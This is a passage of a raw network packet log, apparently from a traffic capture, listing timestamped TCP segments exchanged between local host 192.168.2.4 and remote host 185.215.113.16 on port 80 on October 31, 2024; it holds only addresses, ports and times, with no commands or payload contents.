Oct 31, 2024 20:52:17.919095993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919106960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919112921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919123888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919131041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919142962 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919172049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919177055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919186115 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919210911 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919222116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919228077 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919239044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919245005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919276953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919281960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919286966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919296980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919302940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919339895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919341087 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919346094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919352055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919392109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919461012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919467926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919472933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919478893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919488907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919495106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919509888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919512987 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919539928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919547081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919550896 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919569016 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919579983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919584990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919599056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919605017 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919610977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919614077 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919656992 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919723988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919728994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919743061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919749022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919761896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919766903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919770956 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919771910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919776917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919787884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919791937 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919814110 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919836044 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919853926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919867992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919873953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919878960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919884920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919897079 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919924021 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919984102 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920134068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920186996 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920188904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920193911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920229912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920234919 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920236111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920247078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920279026 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920316935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920361042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920366049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920366049 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920408010 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920439005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920444965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920455933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920494080 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920538902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920583963 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920587063 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920589924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920631886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920639992 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920653105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920663118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920667887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920706034 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920768976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920774937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920785904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920798063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920815945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920821905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920826912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920833111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920840979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920871019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920874119 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920876980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920882940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920888901 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920917034 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920933008 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.920943975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920949936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920960903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.920998096 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921170950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921176910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921188116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921231985 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921245098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921251059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921262026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921267986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921303034 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921339035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921344995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921355963 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921360970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921365976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921397924 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921427011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921472073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921478033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921488047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921494007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921526909 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921544075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921550989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921585083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921591997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921597004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921597958 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921601057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921636105 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921701908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921709061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921719074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921725035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921730042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921735048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921751022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921757936 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921787977 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921788931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921794891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921817064 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921830893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921835899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921838999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921842098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921864986 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921900034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921905041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921911001 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921935081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921941996 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.921942949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921951056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921967030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921972990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.921983957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.922010899 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.922046900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922053099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922070980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922075987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922086000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922091007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922102928 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.922127962 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.922169924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922175884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922198057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922204018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922214031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922216892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.922218084 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922224045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922230005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922254086 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.922270060 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.922741890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922754049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922760963 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922772884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922779083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922789097 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.922821045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.922844887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922851086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922861099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922867060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922873020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922892094 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.922914982 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.922974110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922980070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.922997952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923032045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.923049927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.923064947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923070908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923085928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923130989 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.923144102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923147917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923208952 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.923377991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923383951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923398018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923449039 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.923480034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923485041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923496008 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923518896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923530102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923536062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.923536062 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.923558950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.923585892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.000612974 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000628948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000641108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000722885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000727892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.000729084 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000740051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000749111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000770092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000781059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000787020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000786066 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.000818968 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.000837088 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.000962973 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000968933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000974894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000978947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000989914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.000996113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.001008034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.001020908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.001053095 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.001516104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.001534939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.001539946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.001568079 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.001595974 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.001633883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.001640081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.001662970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.001671076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.001676083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.001692057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.001717091 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.002921104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.002938986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.002949953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.002981901 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.002988100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.002989054 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.003026962 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.004328966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004379988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004379988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.004386902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004420996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004426003 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.004426956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004440069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004472017 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.004532099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004538059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004549026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004554987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004560947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004566908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004590034 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.004610062 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.004656076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004661083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004678011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.004709959 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.004722118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.040744066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.040761948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.040767908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.040838957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.040867090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.040890932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.040896893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.040901899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.040908098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.040910959 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.040939093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.040944099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.040946007 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.040997028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041002989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041004896 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041034937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041040897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041058064 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041064978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041070938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041076899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041080952 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041107893 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041112900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041119099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041156054 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041165113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041171074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041188955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041194916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041212082 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041234016 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041270018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041275978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041313887 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041349888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041356087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041366100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041397095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041403055 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041407108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041416883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041441917 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041460037 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:18.041484118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041589975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041596889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:18.041606903 CET	80	49740	185.215.113.16	192.168.2.4
